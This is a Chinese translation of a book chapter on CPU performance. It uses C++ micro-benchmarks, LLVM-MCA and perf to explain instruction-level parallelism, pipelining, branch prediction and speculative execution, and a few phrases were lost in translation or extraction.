另一方面,我们必须关注不希望的编译器优化的可能性:编译器可能会发现整个程序只是一种非常长的无用操作(至少就 C++标准而言),并通过优化掉代码的大部分来找到更快的方法。编译器指示不要优化计算结果,并假设内存状态在基准测试迭代之间可以改变,应该防止这种优化。同样重要的是不要走向另一个极端:例如,将变量a1声明为volatile肯定会阻止大多数不希望的优化。不幸的是,它也会阻止编译器优化循环本身,这并不是我们想要的:我们想要看到 CPU 如何高效地对两个数组进行加法,这意味着生成最有效的代码。我们只是不希望编译器发现基准测试循环的第一次迭代与第二次迭代完全相同。

请注意,这是微基准的一个不太常见的应用:通常情况下,我们有一小段代码,我们想知道它有多快,以及如何使它更快。在这里,我们使用微基准来了解处理器的性能,通过调整代码的方式来获得一些见解。

基准测试应该在打开优化的情况下进行编译。运行此基准测试将产生类似以下的结果(确切的数字当然取决于您的 CPU):

图 3.2

图 3.2

到目前为止,除了现代 CPU 速度很快之外,我们无法从这个实验中得出太多结论:它们可以在不到一纳秒的时间内添加两个数字。如果你感兴趣,你可以在这一点上探索其他操作:减法和乘法所花费的时间与加法完全相同,而整数除法则相当昂贵(比加法慢三到四倍)。

为了分析我们的代码的性能,我们必须以处理器看到的方式来看待它,这里发生的事情远不止简单的加法。两个输入数组存储在内存中,但加法或乘法操作是在寄存器中的值之间执行的(或者可能是在寄存器和内存位置之间执行,对于某些操作)。这就是处理器逐步看到我们循环的一次迭代。在迭代开始时,索引变量i在一个 CPU 寄存器中,两个对应的数组元素v1[i]v2[i]在内存中:

图 3.3 - 第 i 次循环迭代开始时的处理器状态

图 3.3 - 第 i 次循环迭代开始时的处理器状态

在我们做任何事情之前,我们必须将输入值移入寄存器。必须为每个输入分配一个寄存器,再加上一个寄存器用于结果。在给定的循环迭代中,第一条指令将一个输入加载到寄存器中:

图 3.4 - 第 i 次迭代的第一条指令后的处理器状态

图 3.4 - 第 i 次迭代的第一条指令后的处理器状态

读取(或加载)指令使用包含索引i和数组v1位置的寄存器来访问值v1[i]并将其复制到寄存器中。下一条指令类似地加载第二个输入:

图 3.5 - 第 i 次迭代的第二条指令后的处理器状态

图 3.5 - 第 i 次迭代的第二条指令后的处理器状态

现在我们终于准备好执行加法或乘法等操作了:

图 3.3 - 第 i 次循环迭代结束时的处理器状态

图 3.6 - 第 i 次循环迭代结束时的处理器状态

这行简单的代码在转换为硬件指令后产生了所有这些步骤(以及推进到循环的下一个迭代所需的操作):

a1 += p1[i] + p2[i];

从效率的角度来看,我们希望关注最后一步:我们的 CPU 可以在不到一纳秒的时间内对两个数字进行加法或乘法运算,这还不错,但它还能做更多吗?许多晶体管专门用于处理和执行指令,因此它们必须还能做更多。让我们尝试在相同的值上执行两个操作,而不仅仅是一个:

void BM_add_multiply(benchmark::State& state) {
     … prepare data …
     for (auto _ : state) {
           unsigned long a1 = 0, a2 = 0;
           for (size_t i = 0; i < N; ++i) {
                 a1 += p1[i] + p2[i];
                 a2 += p1[i] * p2[i];
           }
           benchmark::DoNotOptimize(a1);
           benchmark::DoNotOptimize(a2);
           benchmark::ClobberMemory();
     }
     state.SetItemsProcessed(N*state.iterations());
}

如果加法需要一纳秒,乘法需要一纳秒,那么两者需要多长时间?基准测试给出了答案:

图 3.7 – 单条指令和两条指令的基准测试

](https://gitee.com/OpenDocCN/freelearn-c-cpp-pt2-zh/raw/master/docs/art-wrt-eff-prog/img/Figure_3.7_B16229.jpg)

图 3.7 – 单条指令和两条指令的基准测试

令人惊讶的是,这里的一加一等于一。我们可以在一个迭代中添加更多的指令:

           for (size_t i = 0; i < N; ++i) {
                 a1 += p1[i] + p2[i];
                 a2 += p1[i] * p2[i];
                 a3 += p1[i] << 2;
                 a4 += p2[i] – p1[i];
           }

每次迭代的时间仍然相同(轻微差异在基准测试测量的精度范围内):

图 3.8 – 每次迭代最多四条指令的循环基准测试

图 3.8 – 每次迭代最多四条指令的循环基准测试

似乎我们对处理器一次执行一条指令的观点需要修订:

图 3.9 – 处理器在单个步骤中执行多个操作

图 3.9 – 处理器在单个步骤中执行多个操作

只要操作数已经在寄存器中,处理器就可以同时执行多个操作。这被称为指令级并行性ILP)。当然,可以执行的操作数量是有限的:处理器只有那么多能够进行整数计算的执行单元。尽管如此,通过在一个迭代中添加越来越多的指令来尝试推动 CPU 的极限是很有教育意义的:

           for (size_t i = 0; i < N; ++i) {
                 a1 += p1[i] + p2[i];
                 a2 += p1[i] * p2[i];
                 a3 += p1[i] << 2;
                 a4 += p2[i] – p1[i];
                 a5 += (p2[i] << 1)*p2[i];
                 a6 += (p2[i] - 3)*p1[i];
           }

处理器可以执行的确切指令数量取决于 CPU 和指令,但是与单个乘法相比,上一个循环显示出明显的减速,至少在我使用的机器上是这样的:

图 3.10 – 每次迭代八条指令的基准测试

图 3.10 – 每次迭代八条指令的基准测试

现在您可以欣赏到我们原始代码在硬件利用方面是多么低效:CPU 显然可以在每次迭代中执行五到七个不同的操作,因此我们的单个乘法甚至没有占用其四分之一的能力。事实上,现代处理器的能力更加令人印象深刻:除了我们一直在进行实验的整数计算单元之外,它们还具有专门用于执行doublefloat值的指令的独立浮点硬件,以及同时执行 MMX、SSE、AVX 和其他专门指令的矢量处理单元!

可视化指令级并行性

到目前为止,我们对 CPU 能够并行执行多条指令的能力的结论是基于强有力但间接的证据。从机器码分析器MCA)可以得到直接证实,这是确实发生的。分析器是 LLVM 工具链的一部分。分析器以汇编代码作为输入,并报告有关指令执行方式、延迟和瓶颈等方面的大量信息。我们不打算在这里学习这个高级工具的所有功能(有关详细信息,请参阅项目主页llvm.org/docs/CommandGuide/llvm-mca.html)。但是,我们现在可以使用它来查看 CPU 如何执行我们的操作。

第一步是使用分析器标记代码,以选择要分析的代码部分:

#define MCA_START __asm volatile("# LLVM-MCA-BEGIN");
#define MCA_END __asm volatile("# LLVM-MCA-END");
           …
         for (size_t i = 0; i < N; ++i) {
MCA_START
                 a1 += p1[i] + p2[i];
MCA_END
           }

您不必为分析器标记使用#define,但我发现记住这些命令比记住确切的汇编语法更容易(您可以将#define行保存在头文件中,并根据需要包含它)。为什么我们只标记了循环体而不是整个循环进行分析?分析器实际上假设所选的代码片段在循环中运行,并重复了一些迭代次数(默认为十次)。您可以尝试标记整个循环进行分析,但是根据编译器的优化,这可能会使分析器混淆(这是一个强大的工具,但在撰写本文时并不容易使用或特别健壮)。

我们现在可以运行分析器了:

图 3.11

图 3.11

请注意,我们没有将代码编译成可执行文件,而是生成了 Intel 语法的汇编输出(-S)。输出被导入分析器;分析器可以以许多方式报告结果,我们选择了时间表输出。时间表视图显示每条指令在执行过程中的移动。让我们分析两个代码片段,一个只有一个操作(加法或乘法),另一个有两个操作。这是只有一个乘法的迭代的时间表(我们已经删除了时间表中间的所有行):

图 3.12

图 3.12

水平轴是周期时间。分析器模拟运行所选代码片段进行十次迭代;每条指令都用代码中的顺序号和迭代索引来标识,因此第一次迭代的第一条指令的索引是[0,0],最后一条指令的索引是[9,2]。这最后一条指令也是第十次迭代的第三条指令(每次迭代只有三条指令)。整个序列根据时间轴花费了 55 个周期。

现在让我们添加另一个使用已经从内存中读取的值p1[i]p2[i]的操作:

#define MCA_START __asm volatile("# LLVM-MCA-BEGIN");
#define MCA_END __asm volatile("# LLVM-MCA-END");
           …
         for (size_t i = 0; i < N; ++i) {
MCA_START
                 a1 += p1[i] + p2[i];
                 a2 += p1[i] * p2[i];
MCA_END
           }

让我们看一下每次迭代有两个操作的代码的时间表,一个是加法,一个是乘法:

图 3.13

图 3.13

现在执行的指令数量增加了很多,每次迭代有六条指令(最后一条指令的索引是[9,5])。然而,时间表的持续时间只增加了一个周期:在图 3.12中,时间表在第 54 个周期结束,而在图 3.13中,它在第 55 个周期结束。正如我们所怀疑的那样,处理器设法在相同的时间内执行了两倍的指令。

您可能还注意到,到目前为止,我们所有的基准测试都增加了对相同输入值的操作次数(加法、减法、乘法等)。我们得出结论,这些额外的操作在运行时来说是免费的(在一定程度上)。这是一个重要的一般性教训:一旦您在寄存器中有了一些值,对相同的值进行计算可能不会给您带来任何性能损失,除非您的程序已经非常高效,并且已经极限地利用了硬件。不幸的是,这个实验和结论的实际价值有限。有多少次您的所有计算都只是在少数几个输入上进行,下一次迭代使用自己的输入,并且您可以找到更多有用的计算来处理相同的输入?并不是从来没有,但很少。任何试图扩展我们对 CPU 计算能力的简单演示的尝试都将遇到一个或多个复杂性。第一个是数据依赖:循环的顺序迭代通常不是独立的;相反,每次迭代都需要来自前几次迭代的一些数据。我们将在下一节中探讨这种情况。

数据依赖和流水线

到目前为止,我们对 CPU 功能的分析表明,只要操作数已经在寄存器中,处理器就可以同时执行多个操作:我们可以评估一个相当复杂的表达式,只要花费与这些值相加的时间一样多。只取决于两个值的限定词,不幸的是,这是一个非常严重的限制。现在我们考虑一个更现实的代码示例,我们不需要对我们的代码进行太多更改:

for (size_t i = 0; i < N; ++i) {
     a1 += (p1[i] + p2[i])*(p1[i] - p2[i]);
}

回想一下,旧代码中有相同的循环,但主体更简单:a1 += (p1[i] + p2[i]);。此外,p1[i]只是向量元素v1[i]的别名,p2v2也是如此。为什么这段代码更复杂?我们已经看到处理器可以在一个周期内进行加法、减法和乘法,而表达式仍然只取决于两个值,v1[i]v2[i]。然而,这个表达式不能在一个周期内评估。为了澄清这一点,我们引入了两个临时变量,它们实际上只是在表达式评估过程中的中间结果的名称:

for (size_t i = 0; i < N; ++i) {
     s[i] = (p1[i] + p2[i]);
     d[i] = (p1[i] - p2[i]);
     a1[i] += s[i]*d[i];
}

加法和减法的结果s[i]d[i]可以在同一时间进行评估,就像我们之前看到的那样。然而,最后一行直到我们有了s[i]d[i]的值才能执行。无论 CPU 可以同时执行多少次加法和乘法:你不能计算输入未知的操作的结果;因此,CPU 必须等待乘法的输入准备就绪。第 i 次迭代必须分两步执行:首先,我们必须加法和减法(我们可以同时进行),其次,我们必须乘以结果。现在迭代需要两个周期而不是一个,因为计算的第二步取决于第一步产生的数据

图 3.14 - 循环评估中的数据依赖

图 3.14 - 循环评估中的数据依赖

即使 CPU 有资源可以同时执行所有三个操作,由于我们计算中固有的数据依赖性,我们无法利用这种能力。当然,这严重限制了我们如何有效地使用处理器。数据依赖在程序中非常常见,但幸运的是,硬件设计者提出了一个有效的解决方法。仔细考虑图 3.14。我们有乘法硬件单元在我们计算s[i]d[i]的值时闲置着。我们不能提前开始计算它们的乘积,但我们可以做另一件事:我们可以同时计算上一次迭代中s[i-1]d[i-1]的值。现在循环的两次迭代在时间上交错进行:

图 3.15 - 流水线:行对应于连续的迭代;同一行中的所有操作同时执行

图 3.15 - 流水线:行对应于连续的迭代;同一行中的所有操作同时执行

这种代码的转换被称为流水线:一个复杂的表达式被分解成阶段,并在流水线中执行,前一个表达式的第二阶段与下一个表达式的第一阶段同时运行(更复杂的表达式会有更多的阶段,需要更深的流水线)。如果我们的期望是正确的,只要有很多次迭代,CPU 就能够像单个乘法一样快速计算我们的两阶段加减乘表达式:第一次迭代将需要两个周期(先加减,然后乘),这是无法避免的。同样地,最后一次迭代将以单个乘法结束,我们无法同时做其他事情。然而,在中间的所有迭代中,将同时执行三个操作。我们已经知道我们的 CPU 可以同时进行加法、减法和乘法。乘法属于循环的不同迭代这个事实并不重要。

我们可以通过直接的基准测试来确认我们的期望,比较每次循环迭代执行一次乘法所需的时间和执行我们的两步迭代所需的时间:

图 3.16

图 3.16

如预期的那样,两个循环的运行速度基本相同。我们可以得出结论,流水线完全抵消了数据依赖造成的性能损失。请注意,流水线并没有消除数据依赖;每个循环迭代仍然需要在两个阶段中执行,第二阶段依赖于第一阶段的结果。然而,通过交错计算不同阶段的计算,流水线确实消除了由此依赖引起的低效(至少在理想情况下,这是我们目前的情况)。通过机器代码分析器的结果,我们可以更直接地确认这一点:

图 3.17 – 流水线加减乘循环的时间轴视图(顶部)与单个乘法循环的时间轴视图(底部)

图 3.17 – 流水线加减乘循环的时间轴视图(顶部)与单个乘法循环的时间轴视图(底部)

正如你所看到的,执行任何一个循环的十次迭代都需要 56 个周期。时间轴上的关键步骤是指令执行时:e标记执行的开始,E标记执行的结束。流水线的效果在时间轴上清晰可见:循环的第一次迭代在第二个周期开始执行,使用指令[0,0];第一次迭代的最后一条指令在第 18 个周期执行完成(水平轴是周期数)。第二次迭代在第 4 个周期开始执行,也就是说,两次迭代有显著的重叠。这就是流水线的作用,你可以看到它如何提高了程序的效率:几乎每个周期,CPU 都在使用多个计算单元执行多个迭代的指令。执行一个简单循环和执行一个更复杂的循环所需的周期数是一样的,所以额外的机器操作不需要额外的时间。

本章不是 Machine Code Analyzer 的使用手册:要更好地理解它产生的时间线和其他信息,您应该研究它的文档。然而,有一个问题我们必须指出。我们循环的每次迭代不仅具有相同的 C++代码,而且还具有完全相同的机器代码。这是有道理的:流水线是由硬件完成的,而不是由编译器完成;编译器只是为一次迭代生成代码以及推进到下一次迭代(或在完成时退出循环所需的操作)。处理器并行执行多条指令;我们可以在时间线上看到这一点。但是仔细观察后会发现有些地方不合理:例如,看一下图 3.17中的指令[0,4]。它在 6 到 12 周期内执行,并使用寄存器 CPUraxrsi。现在看一下在 8 和 9 周期内执行的指令[1,2]:它也使用相同的寄存器,实际上写入了寄存器rsi,而这个寄存器在同一时间仍然被其他指令使用。这是不可能的:虽然 CPU 可以使用其许多独立的计算单元同时执行多个操作,但它不能同时在同一个寄存器中存储两个不同的值。这个矛盾实际上一直存在,尽管在图 3.15中已经很好地隐藏了起来:假设编译器只为所有迭代生成一份代码副本,我们将用来存储s[i]值的寄存器恰好与我们需要读取s[i-1]值的寄存器相同,并且两个操作同时发生。

重要的是要明白,我们并不是寄存器用尽了:CPU 的寄存器比我们目前看到的要多得多。问题在于,每次迭代的代码看起来都和下一次迭代的代码一模一样,包括寄存器的名称,但是在每次迭代中,不同的值必须存储在寄存器中。看起来我们假设和观察到的流水线似乎是不可能的:下一次迭代必须等待前一次迭代停止使用它所需的寄存器。这并不是真正发生的情况,这个明显的矛盾的解决方案是硬件技术称为rsi,不是真正的寄存器名称,它们由 CPU 映射到实际的物理寄存器。相同的名称rsi可以映射到不同的寄存器,它们都具有相同的大小和功能。

当处理器在流水线中执行代码时,第一次迭代中引用rsi的指令实际上将使用一个我们称之为rsi1的内部寄存器(这不是它的真实名称,但是寄存器的实际硬件名称不是你会遇到的,除非你是在设计处理器)。第二次迭代也有引用rsi的指令,但需要在那里存储不同的值,因此处理器将使用另一个寄存器rsi2。除非第一次迭代不再需要存储在rsi中的值,否则第三次迭代将不得不使用另一个寄存器,依此类推。这种寄存器重命名是由硬件完成的,与编译器完成的寄存器分配非常不同(特别是对于分析目标代码的任何工具,如 LLVM-MCA 或分析器,它是完全不可见的)。最终的效果是循环的多个迭代现在被执行为代码的线性序列,就好像s[i]s[i+1]确实是指向不同的寄存器一样。

将循环转换为线性代码称为循环展开;这是一种流行的编译器优化技术,但这次是在硬件中完成的,对于能够有效处理数据依赖是至关重要的。编译器的观点更接近源代码的编写方式:单次迭代,一组机器指令,通过跳回到代码片段开始的地方进行重复执行。处理器的观点更像是你在时间线上看到的,一系列线性指令,其中每次迭代都有自己的代码副本并且可以使用不同的寄存器。

我们可以做出另一个重要的观察:CPU 执行我们的代码的顺序实际上并不是指令编写的顺序。这被称为乱序执行,并对多线程程序有重要影响。

我们已经看到处理器如何避免数据依赖所施加的执行效率限制:对数据依赖的解药就是流水线。然而,故事并不会在那里结束,到目前为止我们已经设计的非常简单的循环的执行方案缺少了一些重要的东西:循环必须在某个时刻结束。在下一节中,我们将看到这会使事情变得更加复杂,以及解决方案是什么。

流水线和分支

到目前为止,我们对处理器的高效使用的理解是:首先,CPU 可以同时执行多个操作,比如同时进行加法和乘法。不充分利用这种能力就像把免费的计算能力留在桌子上一样。其次,限制我们最大化效率的因素是我们能够产生数据以供这些操作的速度有多快。具体来说,我们受到数据依赖的限制:如果一个操作计算出下一个操作用作输入的值,那么这两个操作必须按顺序执行。解决这种依赖的方法是流水线:在执行循环或长序列的代码时,处理器会交错进行单独的计算,比如循环迭代,只要它们至少有一些可以独立执行的操作。

然而,流水线也有一个重要的前提。流水线if(condition)语句,我们将执行true分支或false分支,但在评估condition之前我们不知道哪个分支会执行。就像数据依赖是指令级并行性的祸根一样,条件执行或分支是流水线的祸根。

流水线被打断后,我们可以预期程序的效率会显著降低。修改我们之前的基准测试以观察条件语句的有害影响应该是非常容易的。例如,不是写:

a1 += p1[i] + p2[i];

我们可以这样写:

a1 += (p1[i]>p2[i]) ? p1[i] : p2[i];

现在我们已经将数据依赖重新引入为代码依赖:

图 3.18 - 分支指令对流水线的影响

图 3.18 - 分支指令对流水线的影响

没有明显的方法将这段代码转换为线性指令流来执行,条件跳转无法避免。

现实情况要复杂一些:像我们刚刚建议的基准测试可能会或可能不会显示出性能的显著下降。原因是许多处理器都有某种条件移动甚至条件加法指令,编译器可能会决定使用它们。如果发生这种情况,我们的代码就变成了完全顺序的,没有跳转或分支,可以完美地进行流水线处理:

图 3.19 - 有条件代码与 cmove 进行流水线处理

图 3.19 - 有条件代码与 cmove 进行流水线处理

x86 CPU 具有条件移动指令cmove(尽管并非所有编译器都会使用它来实现前面图中的?:运算符)。具有 AVX 或 AVX2 指令集的处理器具有一组强大的掩码加法和乘法指令,可以用来实现一些条件代码。因此,在对带有分支的代码进行基准测试和优化时,非常重要的是要检查生成的目标代码,并确认代码确实包含分支,并且它们确实影响了性能。还有一些性能分析工具可以用于此目的,我们马上就会看到其中一个。

虽然分支和条件在大多数实际程序中随处可见,但当程序被简化为用于基准测试的几行代码时,它们可能会消失。一个原因是编译器可能决定使用我们之前提到的条件指令之一。另一个常见的原因是在构建不良的基准测试时,编译器可能能够在编译时弄清楚条件的评估结果。例如,大多数编译器将完全优化掉任何类似if (true)if (false)的代码:在生成的代码中没有这个语句的痕迹,任何永远不会被执行的代码也被消除了。为了观察分支对循环流水线的不利影响,我们必须构建一个测试,使编译器无法预测条件检查的结果。在您的实际基准测试中,您可能会从实际程序中提取数据集。对于下一个演示,我们将使用随机值:

     std::vector<unsigned long> v1(N), v2(N);
     std::vector<int> c1(N);
     for (size_t i = 0; i < N; ++i) {
           v1[i] = rand();
           v2[i] = rand();
           c1[i] = rand() & 1;
     }
     unsigned long* p1 = v1.data();
     unsigned long* p2 = v2.data();
     int* b1 = c1.data();
     for (auto _ : state) {
           unsigned long a1 = 0, a2 = 0;
           for (size_t i = 0; i < N; ++i) {
                 if (b1[i]) {
                       a1 += p1[i];
                 } else {
                       a1 *= p2[i];
                 }
           }
           benchmark::DoNotOptimize(a1);
           benchmark::DoNotOptimize(a2);
           benchmark::ClobberMemory();
     }

同样,我们有两个输入向量v1v2,以及一个控制向量c1,其中包含随机的零和一的值(在这里避免使用vector<bool>,因为它不是字节的数组,而是位的打包数组,因此访问它的成本要高得多,而我们目前不感兴趣基准测试位操作指令)。编译器无法预测下一个随机数是奇数还是偶数,因此无法进行任何优化。此外,我们已经检查了生成的机器代码,并确认我们的编译器(x86 上的 Clang-11)使用简单的条件跳转来实现这个循环。为了有一个基准,我们将比较这个循环的性能与每次迭代都进行无条件加法和乘法的循环:a1 += p1[i]*p2[i]。这个更简单的循环在每次迭代中都进行加法和乘法;然而,由于流水线处理,我们可以免费得到加法:它与下一次迭代的乘法同时执行。另一方面,条件分支则完全不是免费的。

图 3.20

图 3.20

如您所见,条件代码比顺序代码慢大约五倍。这证实了我们的预测,即当下一条指令依赖于前一条指令的结果时,代码无法有效地进行流水线处理。

分支预测

然而,一个敏锐的读者可能会指出,我们刚刚描述的情况不可能是完整的,甚至不是真实的:让我们回到刚才的线性代码,比如我们在上一节中广泛使用的循环:

for (size_t i = 0; i < N; ++i) {
     a1 += v1[i] + v2[i]; // s[i] = v1[i] + v2[i]
}

从处理器的角度来看,这个循环的主体是这样的:

图 3.21 – 在宽度为 w 的流水线中执行的循环

图 3.21 – 在宽度为 w 的流水线中执行的循环

图 3.21中,我们展示了三个交错的迭代,但可能会有更多,流水线的总宽度是w,理想情况下,w足够大,以至于在每个周期,CPU 正好执行与其同时执行的指令一样多(在实践中很少可能达到这种峰值效率)。然而,可能无法在计算和存储和p1[i] + p2[i]的同时访问v[i+2]:没有保证循环还有两次迭代,如果没有,元素v[i+2]就不存在,访问它会导致未定义的行为。在前面的代码中有一个隐藏的条件:在每次迭代中,我们必须检查i是否小于N,只有在这种情况下才能执行第 i 次迭代的指令。

因此,我们在图 3.20中的比较是错误的:我们并没有比较流水线顺序执行和不可预测的条件执行。事实上,这两个基准都是条件代码的例子,它们都有分支。

完整的真相在其中。要理解这一点,我们必须了解条件执行的解药,它会破坏流水线,并且本身是数据依赖的解药。在分支存在的情况下保持流水线的方法是尝试将条件代码转换为顺序代码。如果我们事先知道分支将采取的路径,就可以进行这种转换:我们只需消除分支并继续执行下一个要执行的指令。当然,如果我们事先知道条件是什么,甚至不需要编写这样的代码。但是,考虑循环终止条件。假设循环执行多次,很可能条件i < N评估为true(我们只有N次中的一次会输掉这个赌注)。

处理器使用称为分支预测的技术进行同样的赌博。它分析代码中每个分支的历史,并假设行为在未来不会改变。对于循环结束条件,处理器将很快学会,大多数情况下,它必须继续下一次迭代。因此,正确的做法是流水线下一次迭代,就好像我们确定它会发生一样。当然,我们必须推迟将结果写入内存,直到我们评估条件并确认迭代确实发生;处理器有一定数量的写缓冲区来保存这些未经确认的结果,在提交到内存之前。

因此,仅进行加法的循环的流水线看起来确实如图 3.21所示。唯一的问题是,在完成第 i 次迭代之前开始执行第i+2次迭代时,处理器是基于其对条件分支是否被执行的预测而进行的一种赌博。在我们确定这段代码是否真的存在之前执行代码的这种方式被称为推测执行。如果赌赢了,我们在弄清楚我们需要计算时已经有了结果,一切都很好。如果处理器输了,它必须放弃一些计算以避免产生不正确的结果:例如,写入内存会覆盖之前的内容,并且在大多数硬件平台上无法撤消,而计算结果并将其存储在寄存器中是完全可逆的,当然除了我们浪费的时间。

现在我们对流水线的工作原理有了更全面的了解:为了在并行执行更多指令,处理器查看循环的下一次迭代的代码,并开始与当前迭代同时执行。如果代码包括条件分支,使得不可能确定将执行哪个指令,处理器会根据过去检查相同条件的结果做出合理的猜测,并继续推测性地执行代码。如果预测被证明是正确的,流水线的效果可以和无条件代码一样好。如果预测是错误的,处理器必须丢弃不应该被评估的每条指令的结果,获取先前假定不需要的指令,并代替评估它们。这个事件被称为流水线刷新,这确实是一个昂贵的事件。

现在我们对图 3.20中的先前基准有了更好的理解:两个循环都有一个用于检查循环结束的条件。但是,它几乎完美地预测。 条件基准还具有基于随机数的分支:if(b1[i]),其中b1[i] 50%的时间是 true,随机的。处理器无法预测结果,管道一半的时间被破坏(或者更糟,如果我们设法混淆 CPU 以实际进行错误预测)。

我们应该能够通过直接实验来验证我们的理解:我们只需要将随机条件更改为始终为 true 的条件。唯一的问题是我们必须以编译器无法理解的方式来做到这一点。一种常见的方法是将条件向量的初始化更改为以下内容:

c1[i] = rand() >= 0;

编译器不知道函数rand()总是返回非负随机数,并且不会消除条件。 CPU 的分支预测电路将很快学习到条件if(b1[i])总是评估为 true,并将推测性地执行相应的代码。我们可以将预测良好的分支的性能与不可预测的分支进行比较:

图 3.22

图 3.22

在这里,我们可以看到预测良好的分支的成本是最小的,比预测不佳的分支快得多,即使是完全相同的代码。

分支错误预测的分析

现在,您已经看到单个错误预测的分支会如何影响代码的性能,您可能会想知道,您如何找到这样的代码以便进行优化?当然,包含此代码的函数将花费比您预期的时间更长,但是您如何知道这是因为错误预测的分支还是由于其他一些低效性?到目前为止,您应该已经了解足够多,以避免对性能进行一般性的猜测;但是,对分支预测器的有效性进行推测尤其是徒劳的。幸运的是,大多数分析器不仅可以分析执行时间,还可以分析决定效率的各种因素,包括分支预测失败。

在本章中,我们将再次使用perf分析器。作为第一步,我们可以运行此分析器以收集整个基准程序的整体性能指标:

$ perf stat ./benchmark

这是仅运行BM_branch_not_predicted基准的程序的perf结果(其他基准已在此测试中注释掉):

图 3.23 - 具有预测不佳分支的基准的概要

图 3.23 - 具有预测不佳分支的基准的概要

如您所见,所有分支中有 11%被错误预测(报告的最后一行)。请注意,此数字是所有分支的累积值,包括循环条件的完全可预测结尾,因此总共 11%相当糟糕。我们应该将其与我们的其他基准BM_branch_predicted进行比较,该基准与此基准相同,只是条件始终为真:

图 3.24 - 具有良好预测分支的基准的配置文件

图 3.24 - 具有良好预测分支的基准的配置文件

这一次,不到 0.1%的分支没有被正确预测。

整体性能报告非常有用,不要忽视其潜力:它可以快速突出或排除一些可能导致性能不佳的原因。在我们的情况下,我们可以立即得出结论,即我们的程序受到一个或多个错误预测分支的影响。现在我们只需要找出是哪一个,分析器也可以帮助解决这个问题。就像在上一章中,我们已经使用分析器找出程序在代码中花费最多时间的地方一样,我们可以生成分支预测的详细逐行分析。我们只需要向分析器指定正确的性能计数器:

$ perf record -e branches,branch-misses ./benchmark

在我们的情况下,我们可以从perf stat的输出中复制计数器的名称,因为它恰好是默认情况下测量的计数器之一,但是完整列表可以通过运行perf --list来获取。

分析器运行程序并收集指标。我们可以通过生成配置文件来查看它们:

$ perf report

报告分析器是交互式的,让我们可以导航到每个函数的分支错误预测计数器:

图 3.25 - 针对错误预测分支的详细配置文件

图 3.25 - 针对错误预测分支的详细配置文件

超过 99%的错误预测分支发生在一个函数中。由于该函数很小,找到负责的条件操作不应该很难。在较大的函数中,我们需要查看逐行分析。

现代处理器的分支预测硬件相当复杂。例如,如果从两个不同的位置调用一个函数,并且当从第一个位置调用时,条件通常为真,而当从第二个位置调用时,相同的条件为假,那么预测器将学习该模式,并根据函数调用的来源正确预测分支。类似地,预测器可以检测数据中相当复杂的模式。例如,我们可以初始化我们的random条件变量,使值始终交替,第一个是随机的,但下一个是第一个的相反,依此类推:

     for (size_t i = 0; i < N; ++i) {
           if (i == 0) c1[i] = rand() >= 0; 
           else c1[i] = !c1[i - 1];
     }

分析器确认该数据的分支预测率非常好:

图 3.26 - “真-假”模式的分支预测率

图 3.26 - “真-假”模式的分支预测率

我们几乎准备好了应用我们如何有效使用处理器的知识。但首先,我必须承认我们忽视了一个重大的潜在问题。

推测执行

我们现在了解了流水线如何使 CPU 保持忙碌,以及通过预测条件分支的结果并在我们确定必须执行之前就进行预期代码的执行,我们允许条件代码进行流水线处理。图 3.21说明了这种方法:假设循环条件在当前迭代之后不会发生,我们可以将下一次迭代的指令与当前迭代的指令交错,因此我们可以并行执行更多指令。

迟早,我们的预测会是错误的,但我们所要做的就是丢弃一些本来不应该被计算的结果,并且让它看起来好像它们确实从未被计算过。这会花费我们一些时间,但当分支预测正确时,我们通过加速流水线来弥补这一点。但是,这真的是我们必须做的一切来掩盖我们试图执行一些实际上并不存在的代码的事实吗?

再次考虑图 3.21:如果第 i 次迭代是循环中的最后一次迭代,那么下一次迭代就不应该发生。当然,我们可以丢弃值a[i+1]并且不将其写入内存。但是,为了进行任何流水线处理,我们必须读取v1[i+1]的值。我们无法丢弃我们读取它的事实:我们在检查迭代i是否是最后一次迭代之前就访问了v1[i+1],并且无法否认我们确实访问了它。但是元素v1[i+1]在为向量分配的有效内存区域之外;即使读取它也会导致未定义的行为。

隐藏在“推测执行”无辜标签背后的危险的更有说服力的例子是这个非常常见的代码:

int f(int* p) {
     if (p) {
           return *p;
     } else {
           return 0;
     }
}

让我们假设指针p很少是NULL,所以分支预测器学习到if(p)语句的true分支通常被执行。当函数最终以p == NULL被调用时会发生什么?分支预测器会像往常一样假设相反,并且true分支会被推测执行。它首先会对NULL指针进行解引用。我们都知道接下来会发生什么:程序会崩溃。后来,我们会发现糟糕,非常抱歉,我们一开始不应该选择那个分支,但是如何撤销一个崩溃呢?

从像我们的函数f()这样的代码非常常见且不会遭受意外随机崩溃的事实,我们可以得出结论,要么推测执行实际上并不存在,要么有一种方法可以撤销崩溃,或者类似的。我们已经看到一些证据表明推测执行确实发生并且对提高性能非常有效。我们将在下一章中看到更多直接证据。那么,当我们试图推测执行一些不可能的事情时,比如对NULL指针进行解引用,它是如何处理的呢?答案是,对于这种潜在灾难的灾难性响应必须被暂时保留,既不被丢弃也不被允许成为现实,直到分支条件实际被评估,并且处理器知道推测执行是否应该被视为真正的执行。在这方面,故障和其他无效条件与普通的内存写入没有什么不同:只要导致该操作的指令仍然是推测的,任何无法撤销的操作都被视为潜在操作。CPU 必须有特殊的硬件电路,比如缓冲区,来暂时存储这些事件。最终结果是,处理器确实对NULL指针进行解引用或者在推测执行期间读取不存在的向量元素v[i+1],然后假装这从未发生过。

现在我们了解了分支预测和推测执行如何使处理器能够在数据和代码依赖性造成的不确定性的情况下高效运行,我们可以把注意力转向优化我们的程序。

复杂条件的优化

对于有许多条件语句的程序,通常是if()语句,分支预测的有效性通常决定了整体性能。如果分支预测准确,几乎没有成本。如果分支一半时间被错误预测,它可能会像十个或更多常规算术指令一样昂贵。

非常重要的是要理解,硬件分支预测是基于处理器执行的条件指令。因此,处理器对于条件的理解可能与我们的理解不同。以下示例有力地证明了这一点:

     std::vector<unsigned long> v1(N), v2(N);
     std::vector<int> c1(N), c2(N);
     for (size_t i = 0; i < N; ++i) {
           v1[i] = rand();
           v2[i] = rand();
           c1[i] = rand() & 0x1;
           c2[i] = !c1[i];
     }
     unsigned long* p1 = v1.data();
     unsigned long* p2 = v2.data();
     int* b1 = c1.data();
     int* b2 = c2.data();
     for (auto _ : state) {
           unsigned long a1 = 0, a2 = 0;
           for (size_t i = 0; i < N; ++i) {
                 if (b1[i] || b2[i]) { // !!!
                       a1 += p1[i];
                 } else {
                       a1 *= p2[i];
                 }
           }
           benchmark::DoNotOptimize(a1);
           benchmark::DoNotOptimize(a2);
           benchmark::ClobberMemory();
     }

